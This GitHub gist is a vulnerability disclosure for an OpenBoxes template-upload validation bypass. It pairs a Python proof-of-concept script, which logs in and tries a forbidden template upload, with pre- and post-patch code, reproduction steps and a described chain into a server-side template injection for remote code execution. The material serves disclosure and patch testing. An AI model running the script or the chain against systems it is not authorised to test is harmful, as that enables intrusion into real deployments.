Skip to content

Instantly share code, notes, and snippets.

@nedlir
Created June 28, 2026 19:39
Show Gist options
  • Select an option

  • Save nedlir/744e55b267daab6f74b76bdc6f0d711d to your computer and use it in GitHub Desktop.

Select an option

Save nedlir/744e55b267daab6f74b76bdc6f0d711d to your computer and use it in GitHub Desktop.
#!/usr/bin/env python3
import requests
import argparse
import re
import io
requests.packages.urllib3.disable_warnings()
def login(s, url, user, passwd):
r = s.post(f"{url}/openboxes/login/auth", data={"username": user, "password": passwd})
return "login" not in r.url.lower()
def test(url, user, passwd):
s = requests.Session()
s.verify = False
if not login(s, url, user, passwd):
print("[-] Login failed")
return
# Get stock movement
r = s.get(f"{url}/openboxes/stockMovement/list")
m = re.search(r'/stockMovement/show/([a-f0-9]+)', r.text)
if not m:
print("[-] No stock movements found")
return
movement_id = m.group(1)
# Get document type IDs from the form
r = s.get(f"{url}/openboxes/stockMovement/show/{movement_id}")
matches = re.findall(r'<option value="([a-f0-9]+)"[^>]*>([^<]+)</option>', r.text)
if not matches:
print("[-] Could not find document types")
return
template_id = None
for doc_id, doc_name in matches:
if 'template' in doc_name.lower() or 'zebra' in doc_name.lower():
template_id = doc_id
break
if not template_id:
template_id = matches[0][0]
# Try uploading template
files = {'documentFile': io.BytesIO(b"test")}
data = {'documentType.id': template_id, 'stockMovementId': movement_id}
r = s.post(f"{url}/openboxes/document/uploadDocument", files=files, data=data)
if r.status_code == 200 and 'template' not in r.text.lower():
print(f"[!] VULNERABLE: Template document upload accepted")
elif 'template' in r.text.lower() and 'not allowed' in r.text.lower():
print("[+] PATCHED: Template upload rejected")
else:
print(f"[?] Status {r.status_code}")
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("url")
parser.add_argument("user")
parser.add_argument("passwd")
args = parser.parse_args()
test(args.url, args.user, args.passwd)

The document controller's uploadDocument action used a flawed validation mechanism to prevent template-type documents from being uploaded to stock movements, shipments, purchase orders, and invoices. While the validation intended to restrict these uploads, it relied on DocumentService.getNonTemplateDocumentTypes() to return DocumentType domain objects and used .contains() to check whether the uploaded document type was in the non-template list.

This allowed an authenticated user with document upload access to bypass the validation and successfully attach forbidden template-type documents to restricted records due to object equality issues with Hibernate entities, dynamic service dependencies, or inverted validation logic.

Vulnerability Details

Title CWE Affected Versions Fixed In Patch Date
Template Document Type Upload Validation Bypass via Object Equality Flaw CWE-434: Unrestricted Upload of File with Dangerous Type < v0.9.2 v0.9.2 (PR #4764, commit e945d6bfc) 2024-07-23

CVSS v3.1 Score: 6.5 (Medium)

Vector String: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

Metric Value Justification
Attack Vector (AV) Network Exploitable over HTTP
Attack Complexity (AC) Low No special conditions required
Privileges Required (PR) Low Any authenticated user with document upload access
User Interaction (UI) None No user interaction needed
Scope (S) Unchanged Impact within application boundary
Confidentiality (C) None No direct data disclosure
Integrity (I) High Can upload template documents where forbidden
Availability (A) None No direct availability impact

Affected Components

  • Files: grails-app/controllers/org/pih/warehouse/core/DocumentController.groovy
  • Endpoints: POST /openboxes/document/uploadDocument

Technical Details

Pre-Patch State

In DocumentController.groovy, the validation check relied on object equality of domain entities, and the stock movement lookup was performed unconditionally without a null check:

// DocumentController.groovy (pre-patch, lines 225-227)
List<DocumentType> nonTemplateDocumentTypes = documentService.getNonTemplateDocumentTypes()
if (!nonTemplateDocumentTypes.contains(documentType)) {
    documentInstance.errors.reject("documentType", "Template types are not allowed for this document upload")
}

// Unconditional lookup causing potential NPE
def stockMovement = outboundStockMovementService.getStockMovement(command.stockMovementId)
if (!stockMovement) {
    stockMovement = stockMovementService.getStockMovement(command.stockMovementId)
}

This approach failed reliably because Hibernate entity equality can break across different sessions or when entities are proxied, allowing the .contains() check to pass incorrectly.

Post-Patch State

The fix refactored the validation logic to use deterministic enum values and added proper defensive guards:

// DocumentController.groovy (post-patch)
List<DocumentCode> forbiddenDocumentCodes = DocumentCode.templateList()
if (documentType && forbiddenDocumentCodes.contains(documentType.documentCode)) {
    documentInstance.errors.reject("documentType", "Template types are not allowed for this document upload")
}

The validation now explicitly checks an immutable list of forbidden enum values (DocumentCode), introduces a null guard around documentType, and makes the stock movement lookup conditional to prevent null pointer exceptions.

Steps to Reproduce

Prerequisites

  • OpenBoxes instance running a version before commit e945d6bfc (pre-July 2024).
  • An authenticated user account with access to document upload functionality.
  • An existing Shipment, Stock Movement, Purchase Order, or Invoice record (note its ID).
  • Knowledge of the database ID for a template-type DocumentType (e.g., a row where documentCode is ZEBRA_TEMPLATE or SHIPPING_TEMPLATE).

Reproduction

Automated Testing: Run poc.py <url> <user> <password> to automatically:

  • Locate a stock movement and document types.
  • Attempt a template document type upload.
  • Verify the validation bypass.

Manual Steps:

  1. Identify a template DocumentType ID. Query the database or inspect the document type configuration in the UI to find the internal ID of a template document type.
  2. Navigate to the target document upload context. In the browser, open a valid stock movement or shipment page:
https://<host>/openboxes/stockMovement/show/<STOCK_MOVEMENT_ID>

Click the button to open the "Add Document" interface. 3. Intercept the upload request. Configure your browser developer tools (Network tab) or a proxy tool like Burp Suite to intercept outgoing requests. 4. Modify the request parameters. Initiate a standard file upload, intercept the payload, and replace the documentType.id parameter value with the template document type ID identified in step 1. 5. Submit and analyze the response. Expected (pre-patch): The server accepts the upload and successfully attaches the template-type document to the record because the Hibernate object equality check fails to identify it as forbidden. Expected (post-patch): The server rejects the submission with the error message "Template types are not allowed for this document upload". 6. Verify the uploaded document (pre-patch only). Refresh the document tab for the target entity to confirm that the template file is listed and linked.

Attack Chain with OBX-SSTI (PR #5943)

If the targeted application instance is also unpatched against the Server-Side Template Injection (SSTI) flaw resolved in PR #5943, this upload bypass serves as the initial entry point. An attacker can upload a template file containing malicious Groovy code. When the system subsequently processes and renders this template (such as generating a Zebra label), the GroovyPagesTemplateEngine will execute the embedded code, leading to remote code execution (RCE).

Remediation

Upgrade to version >= v0.9.2

Timeline

Date Event
2024-07-23 Patch merged as PR #4764 (no security advisory)

References

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment